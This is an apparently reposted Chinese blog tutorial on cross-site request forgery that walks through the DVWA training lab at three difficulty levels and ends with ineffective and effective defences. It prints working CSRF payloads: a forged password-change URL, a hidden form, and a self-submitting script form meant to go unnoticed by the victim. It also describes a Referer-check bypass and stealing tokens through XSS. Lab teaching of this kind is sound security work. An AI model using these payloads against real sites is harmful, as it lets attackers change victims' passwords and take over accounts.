CSRF(Cross-site request forgery)

Posted 还是最初模样

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF(Cross-site request forgery)相关的知识,希望对你有一定的参考价值。

概述

跨站请求伪造是一种攻击,它强制终端用户在当前对其进行身份验证后的web应用程序上执行非本意的操作。

CSRF攻击的着重点在于伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。


受害者角度:用户在当前已登录的web应用程序上执行非本意的操作

攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作


CSRF如何触发

 <a href="转账链接">屠龙宝刀,点击就送</a>
 <img >屠龙宝刀,点击就送</a>
 

攻击流程流程

1、用户登录web站点

2、用户访问一个恶意的网站

3、恶意网站会有代码载入用户的客户端

4、然后这段恶意的代码在用户端重新向正常的web站点发送非本意的请求。


DVWA的LOW级别下

一、在low级别里,在进行密码修改的同时进行代理拦截,可以得到修改密码的url,代码如下所示

 http://192.168.1.146/dvwa/vulnerabilities/csrf/
 ?password_new=admin
 &password_conf=admin
 &Change=Change#

二、使用html对链接进行构造

 <html>
 <body>
  <form action="http://192.168.1.132/DVWA/vulnerabilities/csrf/">
  <input type="hidden" name="password_new" value="admin"/>
  <input type="hidden" name="password_conf" value="admin"/>
            <input type="submit" value="Change" name="Change">
  </form>
 </body>
 </html>

三、把完成构造的html文件放到网站发布器上,然后诱惑受害者去点击这个链接,完成对密码的修改


下面的html是包含了script自动提交。

 这是一段可以显示密码修改输入框的html代码,当我们执行这段代码时。会出现输入框和确认框,不利于我们进行攻击,所以对代码进行一些优化。
 <form action="https://192.168.1.146/dvwa/vulnerabilities/csrf/" method="GET">   New password:<br>
    <input type="password" autocomplete="off" name="password_new"><br>
    Confirm new password: <br>
    <input type="password" autocomplete="off" name="password_conf">
    <br>
    <input type="submit" value="Change" name="Change">
    </form>
 
 这是优化的代码,删除了一些不必要的字符,然后用type=hidden对输入框、确认框和change按钮进行了隐藏,然后使用document对表单进行自动提交,这样当用户执行了这段代码时也不知道具体发生了什么。
 <form id = form1 action="https://192.168.1.146/dvwa/vulnerabilities/csrf/" method="GET">
    <input type = "hidden"type="password" autocomplete="off" name="password_new"><br>
    <input type = "hidden"type="password" autocomplete="off" name="password_conf">
    <br>
    <input type="hidden" value="Change" name="Change">
    </form>
    <script>document.getElementById('form1').submit();</script>

DVWA的Medium级别下

一、在Medium级别下,发现我们构造的html无法成功修改密码,通过抓包发现在Medium级别下,服务器对Referer(源请求)做了限制,只允许host为:192.168.1.132的请求通过,其他的一律拒绝。

二、这时候,我们可以通过修改发布网站路径的文件夹名来完成绕过,如下图所示,最后完成对目标的攻击。


DVWA的High级别下

当我们修改密码时,服务器会自动给我们分配一个随机的token,csrf token:是一种随机参数,它保证了攻击者无法猜测到所有的参数。如下所示

 http://192.168.1.132/DVWA/vulnerabilities/csrf/
 ?password_new=admin
 &password_conf=admin
 &Change=Change
 &user_token=205d04f1fc424211cae8241963ac2bc4#

所以,我们无法猜到正确的链接,故无法用前面的两种方法对其进行攻击。

要对High级别的csrf进行攻击,我们要结合xss漏洞去获取用户的token值,再进行csrf攻击。


CSRF防御

无效的防御

使用秘密的cookie:即使是密码的cookie,也会随着每一个请求一起提交,无论最终用户是否被欺骗提交请求,都会提交所有的身份验证令牌。

仅接受POST请求:设置网站的提交方式仅为POST请求,误解攻击者无法构造恶意链接,因此无法进行CSRF攻击,其实要进行CSRF攻击,不仅仅只能通过伪造链接,还能伪造POST请求提交的表单,例如可以在要攻击的网站中结合XSS进行托管简单的表单,此表单可以由javascript自动触发。

多步交易:只要攻击者可以预测或者能够推断完成的事务的每一个步骤,就可以实现CSRF。

URL重写:虽然可以有效的防御CSRF漏洞,都是用户的会话ID会在URL中公开,同样这也是一个漏洞,所以不建议通过引入另一个安全漏洞来修复一个安全漏洞。

HTTPS:HTTPS本身无法防御CSRF。但是HTTPS是防御所有漏洞的前提。


有效的防御

添加Token验证:CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,防御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie中。系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(随机字符串),并且在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,就不允许通过。

二次验证:二次验证就是在转账等关键操作之前提供当前用户的密码或者验证码,由此可以有效的防御CSRF攻击。


以上是关于CSRF(Cross-site request forgery)的主要内容,如果未能解决你的问题,请参考以下文章

CSRF(Cross-site request forgery)

跨站请求伪造CSRF(Cross-site request forgery)

浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好)

PHP中的CSRF(Cross-site request forgery)攻击示例和预防

csrf的中间件

CSRF verification failed. Request aborted.